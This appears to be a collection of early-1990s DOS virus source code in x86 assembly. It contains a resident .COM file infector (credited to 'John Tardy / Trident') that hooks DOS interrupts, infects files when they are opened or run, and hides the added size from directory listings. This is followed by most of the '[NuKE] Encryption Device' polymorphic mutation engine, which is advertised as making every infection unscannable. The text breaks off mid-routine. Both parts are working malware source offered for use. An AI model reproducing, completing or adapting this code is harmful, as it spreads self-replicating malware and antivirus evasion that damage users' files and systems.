Cmp Ax,0AAAAh
Je Installed
mov ax,3521h
int 21h
mov word ptr cs:old21[bp],bx
mov word ptr cs:old21[bp][2],es
mov ax,cs
dec ax
mov ds,ax
cmp byte ptr ds:[0000],'Z'
jne installed
mov ax,word ptr ds:[0003]
sub ax,ParLen
jb installed
mov word ptr ds:[0003],ax
sub word ptr ds:[0012h],ParLen
lea si,decr[bp]
mov di,0
mov es,ds:[12h]
mov ds,cs
mov cx,virlen
cld
rep movsb
mov ax,2521h
mov ds,es
mov dx,offset new21
int 21h
push es
Mov Ax,351ch
Int 21h
Mov Word Ptr OldInt1c[0],Bx
Mov Word Ptr OldInt1c[2],Es
Mov Ax,251ch
Lea Dx,NewInt1c
Pop Ds
Int 21h
Installed: Mov Di,100h
Lea Si,Org_Prg[Bp]
Push Cs
Push Cs
Pop Ds
Pop Es
Cld
Movsw
Movsb
Mov Bx,100h
Pop Ax
Push Bx
Ret
OldInt1c DD 0
NewInt1c: Pushf
Push Ds
Push Ax
Xor Ax,Ax
Push Ax
Pop Ds
Mov Ax,Word Ptr Ds:[46ch]
Dec Word Ptr Ds:[46ch]
Dec Word Ptr Ds:[46ch]
Cmp Ax,Word Ptr Ds:[46ch]
Ja EOI1C
Dec Word Ptr Ds:[46eh]
EOI1C: Pop Ax
Pop Ds
Popf
Iret
Old21 dd 0
New21: cmp ax,0deadh
jne chkfunc
mov ax,0aaaah
mov cx,ax
iret
chkfunc: cmp ah,11h
je findFCBst
cmp ah,12h
je findfcbst
cmp ah,4eh
je findst
cmp ah,4fh
je findst
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
cmp ah,3dh
je infectHan
cmp ax,4b00h
je infectHan
cmp ah,41h
je infectHan
cmp ah,43h
je infectHan
cmp ah,56h
je infectHan
cmp ah,0fh
je infectFCB
cmp ah,23h
je infectFCB
cmp ah,6ch
je infectdos4
jmp endint
findfcbst: jmp findfcb
findst: jmp find
InfectFCB: mov si,dx
inc si
push cs
pop es
lea di,fnam
mov cx,8
rep movsb
mov cx,3
inc di
rep movsb
lea dx,fnam
push cs
pop ds
InfectHan: mov si,dx
mov cx,100h
cld
findpnt: lodsb
cmp al,'.'
je chkcom
loop findpnt
jmp endi
infectdos4: and dx,0fh
cmp dx,1
jne endi
mov dx,si
jmp infecthan
chkcom: lodsw
or ax,2020h
cmp ax,'oc'
jne endi
lodsb
or al,20h
cmp al,'m'
jne endi
jmp doitj
endi: jmp endint
doitj: push dx
push ds
mov ax,4300h
call dos
mov cs:fatr,cx
mov ax,4301h
xor cx,cx
call dos
mov ax,3d02h
call dos
jnc getdate
jmp error
getdate: xchg ax,bx
mov ax,5700h
call dos
mov cs:fdat,cx
mov cs:fdat[2],dx
and cx,1fh
cmp cx,1fh
jne chkexe
jmp done
chkexe: mov ah,3fh
push cs
pop ds
lea dx,Org_prg
mov cx,3
call dos
cmp word ptr cs:Org_prg[0],'ZM'
je close
cmp word ptr cs:Org_prg[0],'MZ'
je close
Mov ax,4202h
xor cx,cx
xor dx,dx
call dos
sub ax,3
mov cs:jump[1],ax
Add Ax,Offset Crypt+103h
Mov S_1[1],Ax
Mov S_2[1],Ax
Mov S_3[4],Ax
Mov S_4[4],Ax
Call GenPoly
mov ah,40h
push cs
pop ds
lea dx,coder
mov cx,virlen
call dos
mov ax,4200h
xor cx,cx
xor dx,dx
call dos
mov ah,40h
lea dx,jump
mov cx,3
call dos
or cs:fdat,01fh
close: mov ax,5701h
mov cx,cs:fdat
mov dx,cs:fdat[2]
call dos
done: mov ah,3eh
call dos
pop ds
pop dx
push dx
push ds
mov ax,4301h
mov cx,fatr
call dos
error: pop ds
pop dx
endint: pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[old21]
GenPoly: Xor Byte Ptr [Loopje],2
Xor Ax,Ax
Mov Es,Ax
Mov Ax,Es:[46ch]
Mov Es,Cs
Push Ax
And Ax,07ffh
Add Ax,CryptLen
Mov S_1[4],Ax
Mov S_2[4],Ax
Mov S_3[1],Ax
Mov S_4[1],Ax
Doit: Pop Ax
Push Ax
And Ax,3
Shl Ax,1
Mov Si,Ax
Mov Ax,Word Ptr Table[Si]
Mov Si,Ax
Lea Di,decr
Movsw
Movsw
Movsw
Movsw
Pop Ax
Stosb
Movsb
Mov Dl,Al
Lea Si,Decr
Lea Di,Coder
Mov Cx,DecrLen
Rep Movsb
Lea Si,Crypt
Mov Cx,CryptLen
Encrypt: Lodsb
Xor Al,Dl
Stosb
Loop Encrypt
Cmp Dl,0
Je Fuckit
Ret
FuckIt: Lea Si,Encr0
Lea Di,Coder
Mov Cx,Encr0Len
Rep Movsb
Mov Ax,Cs:jump[1]
Add Ax,Encr0Len+2
Mov Cs:jump[1],Ax
Ret
Table DW Offset S_1
DW Offset S_2
DW Offset S_3
DW Offset S_4
S_1: Lea Si,0
Mov Cx,0
DB 80h,34h
Inc Si
S_2: Lea Di,0
Mov Cx,0
DB 80h,35h
Inc Di
S_3: Mov Cx,0
Lea Si,0
DB 80h,34h
Inc Si
S_4: Mov Cx,0
Lea Di,0
DB 80h,35h
Inc Di
Db '[ '
Encr0 Db 'John Tardy'
Encr0Len Equ $-Encr0
Db ' / Trident'
Db ' ]'
getdta: pop si
pushf
push ax
push bx
push es
mov ah,2fh
call dos
jmp short si
FindFCB: call DOS
cmp al,0
jne Ret1
call getdta
cmp byte ptr es:[bx],-1
jne FCBOk
add bx,8
FCBOk: mov al,es:[bx+16h]
and al,1fh
cmp al,1fh
jne FileOk
sub word ptr es:[bx+1ch],Virlen
sbb word ptr es:[bx+1eh],0
jmp short Time
Find: call DOS
jc Ret1
call getdta
mov al,es:[bx+16h]
and al,1fh
cmp al,1fh
jne FileOk
sub word ptr es:[bx+1ah],VirLen
sbb word ptr es:[bx+1ch],0
Time: xor byte ptr es:[bx+16h],10h
FileOk: pop es
pop bx
pop ax
popf
Ret1: retf 2
Db '| Trapped in a spell of the Necromonicon |'
dos: pushf
call dword ptr cs:[old21]
ret
Org_prg dw 0cd90h
db 20h
fnam db 8 dup (0)
db '.'
db 3 dup (0)
db 0
fatr dw 0
fdat dw 0,0
jump db 0e9h,0,0
ResLen Equ ($-Decr)/10h
ParLen Equ (Reslen*2)+10h
CryptLen Equ $-Crypt
VirLen Equ $-Decr
Coder Equ $

View File

@ -0,0 +1,958 @@
;******************************************************************************
; [NuKE] BETA TEST VERSION -- NOT FOR PUBLIC RELEASE!
;
; This product is not to be distributed to ANYONE without the complete and
; total agreement of both the author(s) and [NuKE]. This applies to all
; source code, executable code, documentation, and other files included in
; this package.
;
; Unless otherwise specifically stated, even the mere existance of this
; product is not to be mentioned to or discussed in any fashion with ANYONE,
; except with the author(s) and/or other [NuKE] members.
;
; WARNING: This product has been marked in such a way that, if an
; unauthorized copy is discovered ANYWHERE, the violation can be easily
; traced back to its source, who will be located and punished.
; YOU HAVE BEEN WARNED.
;******************************************************************************
;*******************************************************************************
; The [NuKE] Encryption Device v0.90á
;
; (C) 1992 Nowhere Man and [NuKE] International Software Development Corp.
; All Rights Reserved. Unauthorized use strictly prohibited.
;
;*******************************************************************************
; Written by Nowhere Man
; October 18, 1992
; Version 0.90á
;*******************************************************************************
;
; Synopsis: The [NuKE] Encryption Device (N.E.D.) is a polymorphic mutation
; engine, along the lines of Dark Avenger's now-famous MtE.
; Unlike MtE, however, N.E.D. can't be SCANned, and probably will
; never be, either, since there is no reliable pattern between
; mutations, and the engine itself (and its RNG) are always
; kept encrypted.
;
; N.E.D. is easily be added to a virus. Every infection with
; that virus will henceforth be completely different from all
; others, and all will be unscannable, thanks to the Cryptex(C)
; polymorphic mutation algorithm.
;
; N.E.D. only adds about 15 or so bytes of decryption code
; (probably more, depending on which options are enabled), plus
; the 1355 byte overhead needed for the engine itself (about half
; the size of MtE!).
;*******************************************************************************
;*******************************************************************************
; Segment declarations
;*******************************************************************************
.model tiny
.code
;*******************************************************************************
; Equates used to save three bytes of code (was it worth it?)
;*******************************************************************************
load_point equ si + _load_point - ned_start
encr_instr equ si + _encr_instr - ned_start
store_point equ si + _store_point - ned_start
buf_ptr equ si + _buf_ptr - ned_start
copy_len equ si + _copy_len - ned_start
copy_off equ si + _copy_off - ned_start
v_start equ si + _v_start - ned_start
options equ si + _options - ned_start
byte_word equ si + _byte_word - ned_start
up_down equ si + _up_down - ned_start
mem_reg equ si + _mem_reg - ned_start
loop_reg equ si + _loop_reg - ned_start
key_reg equ si + _key_reg - ned_start
mem_otr equ si + _mem_otr - ned_start
used_it equ si + _used_it - ned_start
jump_here equ si + _jump_here - ned_start
adj_here equ si + _adj_here - ned_start
word_adj_table equ si + _word_adj_table - ned_start
byte_adj_table equ si + _byte_adj_table - ned_start
the_key equ si + _the_key - ned_start
crypt_type equ si + _crypt_type - ned_start
op_byte equ si + _op_byte - ned_start
rev_op_byte equ si + _rev_op_byte - ned_start
modr_m equ si + _modr_m - ned_start
dummy_word_cmd equ si + _dummy_word_cmd - ned_start
dummy_three_cmd equ si + _dummy_three_cmd - ned_start
tmp_jmp_store equ si + _tmp_jmp_store - ned_start
jump_table equ si + _jump_table - ned_start
rand_val equ si + _rand_val - ned_start
;******************************************************************************
; Publics
;******************************************************************************
public nuke_enc_dev
public ned_end
;*******************************************************************************
; [NuKE] Encryption Device begins here....
;*******************************************************************************
ned_begin label near ; Start of the N.E.D.'s code
;******************************************************************************
; nuke_enc_dev
;
; This procedure merely calls ned_main.
;
; Arguments: Same as ned_main; this is a shell procedure
;
; Returns: Same as ned_main; this is a shell procedure
;******************************************************************************
nuke_enc_dev proc near
public nuke_enc_dev ; Name in .OBJs and .LIBs
push bx ;
push cx ;
push dx ; Preserve registers
push si ; (except for AX, which is
push di ; used to return something)
push bp ;
call ned_main ; Call the [NuKE] Encryption
; Device, in all it's splendor
pop bp ;
pop di ;
pop si ;
pop dx ; Restore registers
pop cx ;
pop bx ;
ret ; Return to the main virus
; This the copyright message (hey, I wrote the thing, so I can waste a few
; bytes bragging...).
copyright db 13,10
db "[NuKE] Encryption Device v0.90á",13,10
db "(C) 1992 Nowhere Man and [NuKE]",13,10,0
nuke_enc_dev endp
;******************************************************************************
; ned_main
;
; Fills a buffer with a random decryption routine and encrypted viral code.
;
; Arguments: AX = offset of buffer to hold data
; BX = offset of code start
; CX = offset of the virus in memory (next time around!)
; DX = length of code to copy and encrypt
; SI = options:
; bit 0: dummy instructions
; bit 1: MOV variance
; bit 2: ADD/SUB substitution
; bit 3: garbage code
; bit 4: don't assume DS = CS
; bits 5-15: reserved
;
; Returns: AX = size of generated decryption routine and encrypted code
;******************************************************************************
ned_main proc near
mov di,si ; We'll need SI, so use DI
not di ; Reverse all bits for TESTs
call ned_start ; Ah, the old virus trick
ned_start: pop si ; for getting our offset...
mov word ptr [used_it],0 ; A truely hideous way to
mov word ptr [used_it + 2],0; reset the register usage
mov word ptr [used_it + 4],0; flags...
mov byte ptr [used_it + 6],0;
add dx,ned_end - ned_begin ; Be sure to encrypt ourself!
mov word ptr [buf_ptr],ax ; Save the function
mov word ptr [copy_off],bx ; arguments in an
mov word ptr [v_start],cx ; internal buffer
mov word ptr [copy_len],dx ; for later use
mov word ptr [options],di ;
xchg di,ax ; Need the buffer offset in DI
mov ax,2 ; Select a random number
call rand_num ; between 0 and 1
mov word ptr [byte_word],ax ; Save byte/word flag
mov ax,2 ; Select another random number
call rand_num ; between 0 and 1
xor ax,ax ; !!!!DELETE ME!!!!
mov word ptr [up_down],ax ; Save up/down flag
mov ax,4 ; Select a random number
call rand_num ; between 0 and 3
mov word ptr [mem_reg],ax ; Save memory register
xchg bx,ax ; Place in BX for indexing
shl bx,1 ; Convert to word index
mov bx,word ptr [mem_otr + bx] ; Get register number
inc byte ptr [used_it + bx] ; Cross off register
xor cx,cx ; We need a word register
call random_reg ; Get a random register
inc byte ptr [used_it + bx] ; Cross it off...
mov word ptr [loop_reg],ax ; Save loop register
mov ax,2 ; Select a random number
call rand_num ; between 0 and 1
or ax,ax ; Does AX = 0?
je embedded_key ; If so, the key's embedded
mov cx,word ptr [byte_word] ; CX holds the byte word flag
neg cx ; By NEGating CX and adding one
inc cx ; CX will be flip-flopped
call random_reg ; Get a random register
inc byte ptr [used_it + bx] ; Cross it off...
mov word ptr [key_reg],ax ; Save key register
jmp short create_routine ; Ok, let's get to it!
embedded_key: mov word ptr [key_reg],-1 ; Set embedded key flag
create_routine: call add_nop ; Add a do-nothing instruction?
mov ax,2 ; Select a random number
call rand_num ; between 0 and 1
or ax,ax ; Does AX = 0?
je pointer_first ; If so, load pointer then count
call load_count ; Load start register
call add_nop ; Add a do-nothing instruction?
call load_pointer ; Load pointer register
jmp short else_end1 ; Skip the ELSE part
pointer_first: call load_pointer ; Load start register
call add_nop ; Add a do-nothing instruction?
call load_count ; Load count register
else_end1: call add_nop ; Add a do-nothing instruction?
call load_key ; Load encryption key
call add_nop ; Add a do-nothing instruction?
mov word ptr [jump_here],di ; Save the offset of the loop
call add_decrypt ; Create the decryption code
call add_nop ; Add a do-nothing instruction?
call adjust_ptr ; Adjust the memory pointer
call add_nop ; Add a do-nothing instruction?
call end_loop ; End the decryption loop
call random_fill ; Pad with random bullshit?
mov ax,di ; AX points to our current place
sub ax,word ptr [buf_ptr] ; AX now holds # bytes written
mov bx,word ptr [adj_here] ; Find where we need to adjust
add word ptr [bx],ax ; Adjust the starting offset
add ax,word ptr [copy_len] ; Add length of encrypted code
push ax ; Save this for later
mov bx,word ptr [crypt_type]; BX holds encryption type
mov bl,byte ptr [rev_op_byte + bx] ; Load encryption byte
mov bh,0D8h ; Fix a strange problem...
mov word ptr [encr_instr],bx; Save it into our routine
mov cx,word ptr [copy_len] ; CX holds # of bytes to encrypt
cmp word ptr [byte_word],0 ; Are we doing it by bytes?
je final_byte_k ; If so, reset LODS/STOS stuff
mov byte ptr [load_point],0ADh ; Change it to a LODSW
mov byte ptr [store_point],0ABh ; Change it to a STOSW
shr cx,1 ; Do half as many repetitions
mov bx,word ptr [the_key] ; Reload the key
inc byte ptr [encr_instr] ; Fix up for words...
jmp short encrypt_virus ; Let's go!
final_byte_k: mov byte ptr [load_point],0ACh ; Change it to a LODSW
mov byte ptr [store_point],0AAh ; Change it to a STOSW
mov bl,byte ptr [the_key] ; Ok, so I did this poorly...
encrypt_virus: mov si,word ptr [copy_off] ; SI points to the original code
; This portion of the code is self-modifying. It may be bad style, but
; it's far more efficient than writing six or so different routines...
_load_point: lodsb ; Load a byte/word into AL
_encr_instr: xor al,bl ; Encrypt the byte/word
_store_point: stosb ; Store the byte/word at ES:[DI]
loop _load_point ; Repeat until all bytes done
; Ok, we're through... back to normal
pop ax ; AX holds routine length
ret ; Return to caller
_buf_ptr dw ? ; Pointer: storage buffer
_copy_len dw ? ; Integer: # bytes to copy
_copy_off dw ? ; Pointer: original code
_v_start dw ? ; Pointer: virus start in file
_options dw ? ; Integer: bits set options
_byte_word dw ? ; Boolean: 0 = byte, 1 = word
_up_down dw ? ; Boolean: 0 = up, 1 = down
_mem_reg dw ? ; Integer: 0-4 (SI, DI, BX, BP)
_loop_reg dw ? ; Integer: 0-6 (AX, BX, etc.)
_key_reg dw ? ; Integer: -1 = internal
_mem_otr dw 4,5,1,6 ; Array: Register # for mem_reg
_used_it db 7 dup (0) ; Array: 0 = unused, 1 = used
_jump_here dw ? ; Pointer: Start of loop
_adj_here dw ? ; Pointer: Where to adjust
ned_main endp
;******************************************************************************
; load_count
;
; Adds code to load the count register, which stores the number of
; iterations that the decryption loop must make. if _byte_word = 0
; then this value is equal to the size of the code to be encrypted;
; if _byte_word = 1 (increment by words), it is half that length
; (since two bytes are decrypted at a time).
;
; Arguments: SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: None
;******************************************************************************
load_count proc near
mov bx,word ptr [loop_reg] ; BX holds register number
mov dx,word ptr [copy_len] ; DX holds size of virus
mov cx,word ptr [byte_word] ; Neat trick to divide by
shr dx,cl ; two if byte_word = 1
mov cx,1 ; We're doing a word register
call gen_mov ; Generate a move
ret ; Return to caller
_word_adj_table db 00h, 03h, 01h, 02h, 06h, 07h, 05h ; Array: ModR/M adj.
_byte_adj_table db 04h, 00h, 07h, 03h, 05h, 01h, 06h, 02h ; Array ""/byte
load_count endp
;******************************************************************************
; load_pointer
;
; Adds code to load the pointer register, which points to the byte
; or word of memory that is to be encrypted. Due to the flaws of
; 8086 assembly language, only the SI, DI, BX, and BP registers may
; be used.
;
; Arguments: SI = offset of ned_start
; DI = offset of storage buffer
;******************************************************************************
load_pointer proc near
mov bx,word ptr [mem_reg] ; BX holds register number
shl bx,1 ; Convert to word index
mov bx,word ptr [mem_otr + bx] ; Convert register number
mov al,byte ptr [word_adj_table + bx] ; Table look-up
add al,0B8h ; Create a MOV instruction
stosb ; Store it in the code
mov word ptr [adj_here],di ; Save our current offset
mov ax,word ptr [v_start] ; AX points to virus (in host)
cmp word ptr [up_down],0 ; Are we going upwards?
je no_adjust ; If so, no ajustment needed
add ax,word ptr [copy_len] ; Point to end of virus
no_adjust: stosw ; Store the start offset
ret ; Return to caller
load_pointer endp
;******************************************************************************
; load_key
;
; Adds code to load the encryption key into a register. If _byte_word = 0
; a 8-bit key is used; if it is 1 then a 16-bit key is used. If the key
; is supposed to be embedded, no code is generated at this point.
;
; Arguments: SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: None
;******************************************************************************
load_key proc near
mov ax,0FFFFh ; Select a random number
call rand_num ; between 0 and 65534
inc ax ; Eliminate any null keys
mov word ptr [the_key],ax ; Save key for later
mov bx,word ptr [key_reg] ; DX holds the register number
cmp bx,-1 ; Is the key embedded?
je blow_this_proc ; If so, just leave now
xchg dx,ax ; DX holds key
mov cx,word ptr [byte_word] ; CX holds byte/word flag
call gen_mov ; Load the key into the register
blow_this_proc: ret ; Return to caller
_the_key dw ? ; Integer: The encryption key
load_key endp
;******************************************************************************
; add_decrypt
;
; Adds code to dencrypt a byte or word (pointed to by the pointer register)
; by either a byte or word register or a fixed byte or word.
;
; Arguments: SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: None
;******************************************************************************
add_decrypt proc near
test word ptr [options],010000b ; Do we need a CS: override
jne no_override ; If not, don't add it...
mov al,02Eh ; Store a code-segment
stosb ; override instruction (CS:)
no_override: mov ax,3 ; Select a random number
call rand_num ; between 0 and 2
mov word ptr [crypt_type],ax; Save encryption type
xchg bx,ax ; Now transfer it into BX
mov ax,word ptr [byte_word] ; 0 if byte, 1 if word
cmp word ptr [key_reg],-1 ; Is the key embedded?
je second_case ; If so, it's a different story
add al,byte ptr [op_byte + bx] ; Adjust by operation type
stosb ; Place the byte in the code
mov ax,word ptr [mem_reg] ; AX holds register number
mov cl,3 ; To get the ModR/M table
shl ax,cl ; offset, multiply by eight
mov bx,word ptr [key_reg] ; BX holds key register number
cmp word ptr [byte_word],0 ; Is this a byte?
je byte_by_reg ; If so, special case
mov bl,byte ptr [word_adj_table + bx] ; Create ModR/M
jmp short store_it_now ; Now save the byte
byte_by_reg: mov bl,byte ptr [byte_adj_table + bx] ; Create ModR/M
store_it_now: xor bh,bh ; Clear out any old data
add bx,ax ; Add the first index
mov al,byte ptr [modr_m + bx] ; Table look-up
stosb ; Save it into the code
cmp word ptr [mem_reg],3 ; Are we using BP?
jne a_d_exit1 ; If not, leave
xor al,al ; For some dumb reason we'll
stosb ; have to specify a 0 adjustment
a_d_exit1: ret ; Return to caller
second_case: add al,080h ; Create the first byte
stosb ; and store it in the code
mov al,byte ptr [op_byte + bx] ; Load up the OP byte
mov bx,word ptr [mem_reg] ; BX holds register number
mov cl,3 ; To get the ModR/M table
shl bx,cl ; offset, multiply by eight
add al,byte ptr [modr_m + bx] ; Add result of table look-up
stosb ; Save it into the code
cmp word ptr [mem_reg],3 ; Are we using BP?
jne store_key ; If not, store the key
xor al,al ; For some dumb reason we'll
stosb ; have to specify a 0 adjustment
store_key: cmp word ptr [byte_word],0 ; Is this a byte?
je byte_by_byte ; If so, special case
mov ax,word ptr [the_key] ; Load up *the key*
stosw ; Save the whole two bytes!
jmp short a_d_exit2 ; Let's split, man
byte_by_byte: mov al,byte ptr [the_key] ; Load up *the key*
stosb ; Save it into the code
a_d_exit2: ret ; Return to caller
_crypt_type dw ? ; Integer: Type of encryption
_op_byte db 030h,000h,028h ; Array: OP byte of instruction
_rev_op_byte db 030h,028h,000h ; Array: Reverse OP byte of ""
_modr_m db 004h, 00Ch, 014h, 01Ch, 024h, 02Ch, 034h, 03Ch ; SI
db 005h, 00Dh, 015h, 01Dh, 025h, 02Dh, 035h, 03Dh ; DI
db 007h, 00Fh, 017h, 01Fh, 027h, 02Fh, 037h, 03Fh ; BX
db 046h, 04Eh, 056h, 05Eh, 066h, 06Eh, 076h, 07Eh ; BP
add_decrypt endp
;******************************************************************************
; adjust_ptr
;
; Adds code to adjust the memory pointer. There are two possible choices:
; INC/DEC and ADD/SUB (inefficient, but provides variation).
;
; Arguments: SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: None
;******************************************************************************
adjust_ptr proc near
mov cx,word ptr [byte_word] ; CX holds byte/word flag
inc cx ; Increment; now # INCs/DECs
mov bx,word ptr [mem_reg] ; BX holds register number
shl bx,1 ; Convert to word index
mov bx,word ptr [mem_otr + bx] ; Convert register number
mov dx,word ptr [up_down] ; DX holds up/down flag
call gen_add_sub ; Create code to adjust pointer
ret ; Return to caller
adjust_ptr endp
;******************************************************************************
; end_loop
;
; Adds code to adjust the count variable, test to see if it's zero,
; and repeat the decryption loop if it is not. There are three possible
; choices: LOOP (only if the count register is CX), SUB/JNE (inefficient,
; but provides variation), and DEC/JNE (best choice for non-CX registers).
;
; Arguments: SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: None
;******************************************************************************
end_loop proc near
mov bx,word ptr [loop_reg] ; BX holds register number
cmp bx,2 ; Are we using CX?
jne dec_jne ; If not, we can't use LOOP
mov ax,2 ; Select a random number
call rand_num ; between 0 and 1
or ax,ax ; Does AX = 0?
jne dec_jne ; If not, standard ending
mov al,0E2h ; We'll do a LOOP instead
stosb ; Save the OP byte
jmp short store_jmp_loc ; Ok, now find the offset
dec_jne: mov cx,1 ; Only adjust by one
mov dx,1 ; We're subtracting...
call gen_add_sub ; Create code to adjust count
mov al,075h ; We'll do a JNE to save
stosb ; Store a JNE OP byte
store_jmp_loc: mov ax,word ptr [jump_here] ; Find old offset
sub ax,di ; Adjust relative jump
dec ax ; Adjust by one (DI is off)
stosb ; Save the jump offset
ret ; Return to caller
end_loop endp
;******************************************************************************
; add_nop
;
; Adds between 0 and 3 do-nothing instructions to the code, if they are
; allowed by the user (bit 0 set).
;
; Arguments: SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: None
;******************************************************************************
add_nop proc near
push ax ; Save AX
push bx ; Save BX
push cx ; Save CX
test word ptr [options],0001b; Are we allowing these?
jne outta_here ; If not, don't add 'em
mov ax,2 ; Select a random number
call rand_num ; between 0 and 1
or ax,ax ; Does AX = 0?
je outta_here ; If so, don't add any NOPs...
mov ax,4 ; Select a random number
call rand_num ; between 0 and 3
xchg cx,ax ; CX holds repetitions
jcxz outta_here ; CX = 0? Split...
add_nop_loop: mov ax,4 ; Select a random number
call rand_num ; between 0 and 3
or ax,ax ; Does AX = 0?
je two_byter ; If so, a two-byte instruction
cmp ax,1 ; Does AX = 1?
je three_byter ; If so, a three-byte instruction
mov al,090h ; We'll do a NOP instead
stosb ; Store it in the code
jmp short loop_point ; Complete the loop
two_byter: mov ax,34 ; Select a random number
call rand_num ; between 0 and 33
xchg bx,ax ; Place in BX for indexing
shl bx,1 ; Convert to word index
mov ax,word ptr [dummy_word_cmd + bx] ; Get dummy command
stosw ; Save it in the code...
jmp short loop_point ; Complete the loop
three_byter: mov ax,16 ; Select a random number
call rand_num ; between 0 and 15
mov bx,ax ; Place in BX for indexing
shl bx,1 ; Convert to word index
add bx,ax ; Add back value (BX = BX * 3)
mov ax,word ptr [dummy_three_cmd + bx] ; Get dummy command
stosw ; Save it in the code...
mov al,byte ptr [dummy_three_cmd + bx + 2]
stosb ; Save the final byte, too
loop_point: loop add_nop_loop ; Repeat 0-2 more times
outta_here: pop cx ; Restore CX
pop bx ; Restore BX
pop ax ; Restore AX
ret ; Return to caller
_dummy_word_cmd: ; Useless instructions,
; two bytes each
mov ax,ax
mov bx,bx
mov cx,cx
mov dx,dx
mov si,si
mov di,di
mov bp,bp
xchg bx,bx
xchg cx,cx
xchg dx,dx
xchg si,si
xchg di,di
xchg bp,bp
nop
nop
inc ax
dec ax
inc bx
dec bx
inc cx
dec cx
inc dx
dec dx
inc si
dec si
inc di
dec di
inc bp
dec bp
cmc
cmc
jmp short $ + 2
je $ + 2
jne $ + 2
jg $ + 2
jge $ + 2
jl $ + 2
jle $ + 2
jo $ + 2
jpe $ + 2
jpo $ + 2
js $ + 2
jcxz $ + 2
_dummy_three_cmd: ; Useless instructions,
; three bytes each
xor ax,0
or ax,0
add ax,0
add bx,0
add cx,0
add dx,0
add si,0
add di,0
add bp,0
sub ax,0
sub bx,0
sub cx,0
sub dx,0
sub si,0
sub di,0
sub bp,0
add_nop endp
;******************************************************************************
; gen_mov
;
; Adds code to load a register with a value. If MOV variance is enabled,
; inefficient, sometimes strange, methods may be used; if it is disabled,
; a standard MOV is used (wow). Various alternate load methods include
; loading a larger value then subtracting the difference, loading a
; smaller value the adding the difference, loading an XORd value then
; XORing it by a key that will correct the difference, loading an incorrect
; value and NEGating or NOTing it to correctness, and loading a false
; value then loading the correct one.
;
; Arguments: BX = register number
; CX = 0 for byte register, 1 for word register
; DX = value to store
; SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: None
;******************************************************************************
gen_mov proc
test word ptr [options],0010b; Do we allow wierd moves?
je quick_fixup ; If so, short jump over JMP
jmp make_mov ; If not, standard MOV
quick_fixup: jcxz byte_index_0 ; If we're doing a byte, index
mov bl,byte ptr [word_adj_table + bx] ; Table look-up
jmp short get_rnd_num ; Ok, get a random number now
byte_index_0: mov bl,byte ptr [byte_adj_table + bx] ; Table look-up
get_rnd_num: mov ax,7 ; Select a random number
call rand_num ; between 0 and 6
shl ax,1 ; Convert AX into word index
lea bp,word ptr [jump_table] ; BP points to jump table
add bp,ax ; BP now points to the offset
mov ax,word ptr [bp] ; AX holds the jump offset
add ax,si ; Adjust by our own offset
mov word ptr [tmp_jmp_store],ax ; Store in scratch variable
mov ax,0FFFFh ; Select a random number
call rand_num ; between 0 and 65564
xchg bp,ax ; Place random number in BP
jmp word ptr [tmp_jmp_store]; JuMP to a load routine!
load_move: xchg dx,bp ; Swap DX and BP
call make_mov ; Load BP (random) in register
call add_nop ; Add a do-nothing instruction?
xchg dx,bp ; DX now holds real value
jmp short make_mov ; Load real value in reigster
load_sub: add dx,bp ; Add random value to load value
call make_mov ; Create a MOV instruction
call add_nop ; Add a do-nothing instruction?
mov ah,0E8h ; We're doing a SUB
jmp short make_add_sub ; Create the SUB instruction
load_add: sub dx,bp ; Sub. random from load value
call make_mov ; Create a MOV instruction
call add_nop ; Add a do-nothing instruction?
mov ah,0C0h ; We're doing an ADD
jmp short make_add_sub ; Create the ADD instruction
load_xor: xor dx,bp ; XOR load value by random
call make_mov ; Create a MOV instruction
call add_nop ; Add a do-nothing instruction?
mov ah,0F0h ; We're doing an XOR
jmp short make_add_sub ; Create the XOR instruction
load_not: not dx ; Two's-compliment DX
call make_mov ; Create a MOV instruction
call add_nop ; Add a do-nothing instruction?
load_not2: mov al,0F6h ; We're doing a NOT/NEG
add al,cl ; If it's a word, add one
stosb ; Store the byte
mov al,0D0h ; Initialize the ModR/M byte
add al,bl ; Add back the register info
stosb ; Store the byte
ret ; Return to caller
load_neg: neg dx ; One's-compliment DX
call make_mov ; Create a MOV instruction
add bl,08h ; Change the NOT into a NEG
jmp short load_not2 ; Reuse the above code
make_mov: mov al,0B0h ; Assume it's a byte for now
add al,bl ; Adjust by register ModR/M
jcxz store_mov ; If we're doing a byte, go on
add al,008h ; Otherwise, adjust for word
store_mov: stosb ; Store the OP byte
mov ax,dx ; AX holds the load value
put_byte_or_wd: jcxz store_byte ; If it's a byte, store it
stosw ; Otherwise store a whole word
ret ; Return to caller
store_byte: stosb ; Store the byte in the code
ret ; Return to caller
make_add_sub: mov al,080h ; Create the OP byte
add al,cl ; If it's a word, add one
stosb ; Store the byte
mov al,ah ; AL now holds ModR/M byte
add al,bl ; Add back the register ModR/M
stosb ; Store the byte in the code
xchg bp,ax ; AX holds the ADD/SUB value
jmp short put_byte_or_wd ; Reuse the above code
_tmp_jmp_store dw ? ; Pointer: temp. storage
_jump_table dw load_sub - ned_start, load_add - ned_start
dw load_xor - ned_start, load_not - ned_start
dw load_neg - ned_start, load_move - ned_start
dw make_mov - ned_start
gen_mov endp
;******************************************************************************
; gen_add_sub
;
; Adds code to adjust a register either up or down. A random combination
; of ADD/SUBs and INC/DECs is used to increase code variability. Note
; that this procedure will only work on *word* registers; attempts to
; use this procedure for byte registers (AH, AL, etc.) may result in
; invalid code being generated.
;
; Arguments: BX = ModR/M table offset for register
; CX = Number to be added/subtracted from the register
; DX = 0 for addition, 1 for subtraction
; SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: None
;******************************************************************************
gen_add_sub proc near
jcxz exit_g_a_s ; Exit if there's no adjustment
add_sub_loop: call add_nop ; Add a do-nothing instruction?
cmp cx,3 ; Have to adjust > 3 bytes?
ja use_add_sub ; If so, no way we use INC/DEC!
test word ptr [options],0100b; Are ADD/SUBs allowed?
jne use_inc_dec ; If not, only use INC/DECs
mov ax,3 ; Select a random number
call rand_num ; between 0 and 2
or ax,ax ; Does AX = 0?
je use_add_sub ; If so, use ADD or SUB
